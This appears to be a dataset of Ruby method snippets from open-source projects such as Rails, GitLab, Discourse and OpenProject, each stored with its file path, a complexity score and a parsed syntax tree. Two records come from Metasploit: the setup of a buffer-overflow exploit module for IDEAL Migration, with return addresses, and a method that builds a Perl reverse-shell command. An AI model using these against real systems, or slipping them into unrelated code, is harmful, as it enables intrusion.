{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin_helper/retry_state.rb","start_line":118,"raw_source":"def secondary?\n          !@forever && @secondary && (@current == :secondary || current_time >= @secondary_transition_at)\n        end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"secondary?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@forever\"]},\"!\"]},{\"type\":\"ivar\",\"children\":[\"@secondary\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current\"]},\"==\",{\"type\":\"sym\",\"children\":[\"secondary\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_time\"]},\">=\",{\"type\":\"ivar\",\"children\":[\"@secondary_transition_at\"]}]}]}]}]}]}","id":"4d81c8df-79a9-424e-8367-06dff8417a19"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/resources_test.rb","start_line":742,"raw_source":"def test_resources_using_namespace\n    with_routing do |set|\n      set.draw do\n        namespace :backoffice, path: nil, as: nil do\n          resources :products\n        end\n      end\n\n      assert_simply_restful_for :products, controller: \"backoffice/products\"\n    end\n  end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_resources_using_namespace\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_routing\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"set\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"set\"]},\"draw\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"namespace\",{\"type\":\"sym\",\"children\":[\"backoffice\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"as\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"resources\",{\"type\":\"sym\",\"children\":[\"products\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_simply_restful_for\",{\"type\":\"sym\",\"children\":[\"products\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"str\",\"children\":[\"backoffice/products\"]}]}]}]}]}]}]}","id":"053a07a3-3e03-4ca6-ad34-390c00df5470"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/repository.rb","start_line":395,"raw_source":"def self.vendor_name\n    name.demodulize\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"vendor_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},\"demodulize\"]}]}","id":"368f2087-6b30-4d15-97b1-34bac46bd19b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/fileformat/ideal_migration_ipj.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'PointDev IDEAL Migration Buffer Overflow',\n        'Description' => %q{\n          This module exploits a stack buffer overflow in versions v9.7\n          through v10.5 of IDEAL Administration and versions 4.5 and 4.51 of\n          IDEAL Migration. All versions are suspected to be vulnerable.\n          By creating a specially crafted ipj file, an attacker may be able\n          to execute arbitrary code.\n\n          NOTE: IDEAL Administration 10.5 is compiled with /SafeSEH\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [ 'Dr_IDE', 'dookie', 'jduck' ],\n        'References' => [\n          [ 'CVE', '2009-4265' ],\n          [ 'OSVDB', '60681' ],\n          [ 'EDB', '10319' ],\n          [ 'EDB', '12403' ],\n          [ 'EDB', '12404' ],\n          [ 'EDB', '12540' ]\n        ],\n        'DefaultOptions' => {\n          'EXITFUNC' => 'seh',\n          'DisablePayloadHandler' => true\n        },\n        'Payload' => {\n          'Space' => 1000,\n          'BadChars' => \"\\x00\\x0a\\x1a\\x22\\x3c\\x3e\",\n          'StackAdjustment' => -3500,\n          'DisableNops' => true\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          [\n            'IDEAL Migration <= 4.5.1 on Windows XP',\n            {\n              'Ret' => 0x1001411e # CALL EBP in ULMigration_us.dll\n              # 'Ret' => 0x7c96bf33 # JMP ESP in ULMigration_us.dll (from Blake)\n              # 'Ret' => 0x77f31d2f # JMP ESP in ?? (from Dr_IDE)\n            }\n          ],\n\n          [\n            'IDEAL Administration <= 10.5 on Windows XP',\n            {\n              'Ret' => 0x10010F2E # CALL EBP in ListWmi.dll\n              # 'Ret' => 0x77f31d2f # JMP ESP in ?? (from Dr_IDE)\n            }\n          ],\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2009-12-05',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('FILENAME', [ false, 'The file name.', 'msf.ipj']),\n      ]\n    )\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"PointDev IDEAL Migration Buffer Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a stack buffer overflow in versions v9.7\\n\"]},{\"type\":\"str\",\"children\":[\"          through v10.5 of IDEAL Administration and versions 4.5 and 4.51 of\\n\"]},{\"type\":\"str\",\"children\":[\"          IDEAL Migration. All versions are suspected to be vulnerable.\\n\"]},{\"type\":\"str\",\"children\":[\"          By creating a specially crafted ipj file, an attacker may be able\\n\"]},{\"type\":\"str\",\"children\":[\"          to execute arbitrary code.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          NOTE: IDEAL Administration 10.5 is compiled with /SafeSEH\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Dr_IDE\"]},{\"type\":\"str\",\"children\":[\"dookie\"]},{\"type\":\"str\",\"children\":[\"jduck\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2009-4265\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"60681\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"10319\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"12403\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"12404\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"12540\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"seh\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisablePayloadHandler\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[1000]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\\n\\u001a\\\"<>\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"StackAdjustment\"]},{\"type\":\"int\",\"children\":[-3500]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisableNops\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"IDEAL Migration <= 4.5.1 on Windows XP\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[268517662]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"IDEAL Administration <= 10.5 on Windows XP\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[268504878]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2009-12-05\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"FILENAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The file name.\"]},{\"type\":\"str\",\"children\":[\"msf.ipj\"]}]}]}]}]}]}]}","id":"628d30d0-1ffe-4b54-8ed5-465e970157af"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/members/update_service.rb","start_line":39,"raw_source":"def post_process\n    service_call = yield\n\n    return unless service_call.success?\n\n    member = service_call.result\n\n    if member.principal.is_a?(Group)\n      update_group_roles(member)\n    else\n      send_notification(member)\n    end\n  end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"post_process\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"service_call\",{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_call\"]},\"success?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"member\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_call\"]},\"result\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"member\"]},\"principal\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Group\"]}]},{\"type\":\"send\",\"children\":[null,\"update_group_roles\",{\"type\":\"lvar\",\"children\":[\"member\"]}]},{\"type\":\"send\",\"children\":[null,\"send_notification\",{\"type\":\"lvar\",\"children\":[\"member\"]}]}]}]}]}","id":"94b16e12-7403-41a3-9a98-de142b8949e9"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/projects/filters/name_and_identifier_filter.rb","start_line":84,"raw_source":"def where_not_contains\n    where_not(where_contains)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"where_not_contains\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"where_not\",{\"type\":\"send\",\"children\":[null,\"where_contains\"]}]}]}","id":"070a3823-7f36-4178-af20-2f93ebb19773"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/timelines/base_controller.rb","start_line":16,"raw_source":"def prev_path_params\n    permitted_params.merge(min_id: pagination_since_id)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"prev_path_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permitted_params\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"min_id\"]},{\"type\":\"send\",\"children\":[null,\"pagination_since_id\"]}]}]}]}]}","id":"562bf99e-40fa-46aa-900e-3d0613c4bbb1"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/backup_restore/backuper.rb","start_line":21,"raw_source":"def run\n      ensure_no_operation_is_running\n      ensure_we_have_a_user\n\n      log \"[STARTED]\"\n      log \"'#{@user.username}' has started the backup!\"\n\n      mark_backup_as_running\n\n      listen_for_shutdown_signal\n\n      ensure_directory_exists(@tmp_directory)\n      ensure_directory_exists(@archive_directory)\n\n      update_metadata\n      dump_public_schema\n\n      log \"Finalizing backup...\"\n\n      @with_uploads ? create_archive : move_dump_backup\n      upload_archive\n\n      after_create_hook\n    rescue SystemExit\n      log \"Backup process was cancelled!\"\n    rescue Exception => ex\n      log \"EXCEPTION: \" + ex.message\n      log ex.backtrace.join(\"\\n\")\n    else\n      @success = true\n      @backup_filename\n    ensure\n      delete_old\n      clean_up\n      notify_user\n      log \"Finished!\"\n      publish_completion\n    end","complexity_score":38.5,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ensure_no_operation_is_running\"]},{\"type\":\"send\",\"children\":[null,\"ensure_we_have_a_user\"]},{\"type\":\"send\",\"children\":[null,\"log\",{\"type\":\"str\",\"children\":[\"[STARTED]\"]}]},{\"type\":\"send\",\"children\":[null,\"log\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"'\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"username\"]}]},{\"type\":\"str\",\"children\":[\"' has started the backup!\"]}]}]},{\"type\":\"send\",\"children\":[null,\"mark_backup_as_running\"]},{\"type\":\"send\",\"children\":[null,\"listen_for_shutdown_signal\"]},{\"type\":\"send\",\"children\":[null,\"ensure_directory_exists\",{\"type\":\"ivar\",\"children\":[\"@tmp_directory\"]}]},{\"type\":\"send\",\"children\":[null,\"ensure_directory_exists\",{\"type\":\"ivar\",\"children\":[\"@archive_directory\"]}]},{\"type\":\"send\",\"children\":[null,\"update_metadata\"]},{\"type\":\"send\",\"children\":[null,\"dump_public_schema\"]},{\"type\":\"send\",\"children\":[null,\"log\",{\"type\":\"str\",\"children\":[\"Finalizing backup...\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@with_uploads\"]},{\"type\":\"send\",\"children\":[null,\"create_archive\"]},{\"type\":\"send\",\"children\":[null,\"move_dump_backup\"]}]},{\"type\":\"send\",\"children\":[null,\"upload_archive\"]},{\"type\":\"send\",\"children\":[null,\"after_create_hook\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SystemExit\"]}]},null,{\"type\":\"send\",\"children\":[null,\"log\",{\"type\":\"str\",\"children\":[\"Backup process was cancelled!\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exception\"]}]},{\"type\":\"lvasgn\",\"children\":[\"ex\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"EXCEPTION: \"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ex\"]},\"message\"]}]}]},{\"type\":\"send\",\"children\":[null,\"log\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ex\"]},\"backtrace\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@success\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"ivar\",\"children\":[\"@backup_filename\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"delete_old\"]},{\"type\":\"send\",\"children\":[null,\"clean_up\"]},{\"type\":\"send\",\"children\":[null,\"notify_user\"]},{\"type\":\"send\",\"children\":[null,\"log\",{\"type\":\"str\",\"children\":[\"Finished!\"]}]},{\"type\":\"send\",\"children\":[null,\"publish_completion\"]}]}]}]}","id":"388e9fa2-94e1-4102-8605-95c662f06121"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/controllers/api/v1/accounts/captain/assistant_responses_controller.rb","start_line":12,"raw_source":"def index\n    filtered_query = apply_filters(@responses)\n    @responses_count = filtered_query.count\n    @responses = filtered_query.page(@current_page).per(RESULTS_PER_PAGE)\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"filtered_query\",{\"type\":\"send\",\"children\":[null,\"apply_filters\",{\"type\":\"ivar\",\"children\":[\"@responses\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@responses_count\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filtered_query\"]},\"count\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@responses\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filtered_query\"]},\"page\",{\"type\":\"ivar\",\"children\":[\"@current_page\"]}]},\"per\",{\"type\":\"const\",\"children\":[null,\"RESULTS_PER_PAGE\"]}]}]}]}]}","id":"3032a495-8ff9-4e1a-bd80-1e8ebe86824b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/work_items_helper.rb","start_line":35,"raw_source":"def extract_group(resource_parent)\n    resource_parent.is_a?(Group) ? resource_parent : resource_parent.group\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_group\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"resource_parent\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource_parent\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Group\"]}]},{\"type\":\"lvar\",\"children\":[\"resource_parent\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource_parent\"]},\"group\"]}]}]}","id":"cadb045f-6103-4889-9f3e-9ab27c7ae99f"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/input/upload_link.rb","start_line":37,"raw_source":"def self.build(folder_id:, file_name:, contract: UploadLinkContract.new)\n          contract.call(folder_id:, file_name:).to_monad.fmap { |result| new(**result.to_h) }\n        end","complexity_score":8.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"build\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"folder_id\"]},{\"type\":\"kwarg\",\"children\":[\"file_name\"]},{\"type\":\"kwoptarg\",\"children\":[\"contract\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UploadLinkContract\"]},\"new\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contract\"]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"folder_id\"]},{\"type\":\"lvar\",\"children\":[\"folder_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file_name\"]},{\"type\":\"lvar\",\"children\":[\"file_name\"]}]}]}]},\"to_monad\"]},\"fmap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"to_h\"]}]}]}]}]}]}","id":"5576f48d-6a86-4ea9-b693-a43750ed940c"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/cache/stores/redis_cache_store_test.rb","start_line":193,"raw_source":"def test_write_expires_at\n      @cache.write \"key_with_expires_at\", \"bar\", expires_at: 30.minutes.from_now\n      redis_backend do |r|\n        assert r.ttl(\"#{@namespace}:key_with_expires_at\") > 0\n      end\n    end","complexity_score":9.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_write_expires_at\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"write\",{\"type\":\"str\",\"children\":[\"key_with_expires_at\"]},{\"type\":\"str\",\"children\":[\"bar\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expires_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[30]},\"minutes\"]},\"from_now\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"redis_backend\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"ttl\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@namespace\"]}]},{\"type\":\"str\",\"children\":[\":key_with_expires_at\"]}]}]},\">\",{\"type\":\"int\",\"children\":[0]}]}]}]}]}]}","id":"3a29256f-8470-4e7c-9214-2abcc1cc1c05"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/activity_pub/application_controller.rb","start_line":25,"raw_source":"def ensure_feature_flag\n      not_found unless ::Feature.enabled?(:activity_pub)\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_feature_flag\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Feature\"]},\"enabled?\",{\"type\":\"sym\",\"children\":[\"activity_pub\"]}]},null,{\"type\":\"send\",\"children\":[null,\"not_found\"]}]}]}","id":"ab0a3faa-242e-44cb-96b1-13416b2c9da1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/commit_range.rb","start_line":50,"raw_source":"def self.reference_pattern\n    @reference_pattern ||= %r{\n      (?:#{Project.reference_pattern}#{reference_prefix})?\n      (?<commit_range>#{STRICT_PATTERN})\n    }x\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"reference_pattern\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@reference_pattern\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      (?:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"reference_pattern\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reference_prefix\"]}]},{\"type\":\"str\",\"children\":[\")?\\n\"]},{\"type\":\"str\",\"children\":[\"      (?<commit_range>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"STRICT_PATTERN\"]}]},{\"type\":\"str\",\"children\":[\")\\n\"]},{\"type\":\"str\",\"children\":[\"    \"]},{\"type\":\"regopt\",\"children\":[\"x\"]}]}]}]}","id":"59ba6f5f-1580-41d1-9357-bc6a2daad7c1"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/topic_query/private_message_lists.rb","start_line":90,"raw_source":"def list_private_messages_group_new(user)\n      list = filter_private_message_new(user, :group)\n      list = remove_dismissed(list, user)\n      publish_read_state = !!group.publish_read_state\n      list = append_read_state(list, group) if publish_read_state\n      create_list(:private_messages, { publish_read_state: publish_read_state, group: group }, list)\n    end","complexity_score":16.9,"ast_json":"{\"type\":\"def\",\"children\":[\"list_private_messages_group_new\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"list\",{\"type\":\"send\",\"children\":[null,\"filter_private_message_new\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"sym\",\"children\":[\"group\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"list\",{\"type\":\"send\",\"children\":[null,\"remove_dismissed\",{\"type\":\"lvar\",\"children\":[\"list\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"publish_read_state\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},\"publish_read_state\"]},\"!\"]},\"!\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"publish_read_state\"]},{\"type\":\"lvasgn\",\"children\":[\"list\",{\"type\":\"send\",\"children\":[null,\"append_read_state\",{\"type\":\"lvar\",\"children\":[\"list\"]},{\"type\":\"send\",\"children\":[null,\"group\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"create_list\",{\"type\":\"sym\",\"children\":[\"private_messages\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"publish_read_state\"]},{\"type\":\"lvar\",\"children\":[\"publish_read_state\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group\"]},{\"type\":\"send\",\"children\":[null,\"group\"]}]}]},{\"type\":\"lvar\",\"children\":[\"list\"]}]}]}]}","id":"421f1979-2436-4d2e-915b-7f8c7aaa753d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/manage/system_session.rb","start_line":152,"raw_source":"def perl_session(lhost, lport)\n    if cmd_exec('perl -v') =~ /Larry/\n      print_status('Perl reverse shell selected')\n      cmd = \"perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET \" \\\n            \"(PeerAddr,\\\"#{lhost}:#{lport}\\\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'\"\n    else\n      print_error('No scripting environment found for the selected type.')\n      cmd = ''\n    end\n    return cmd\n  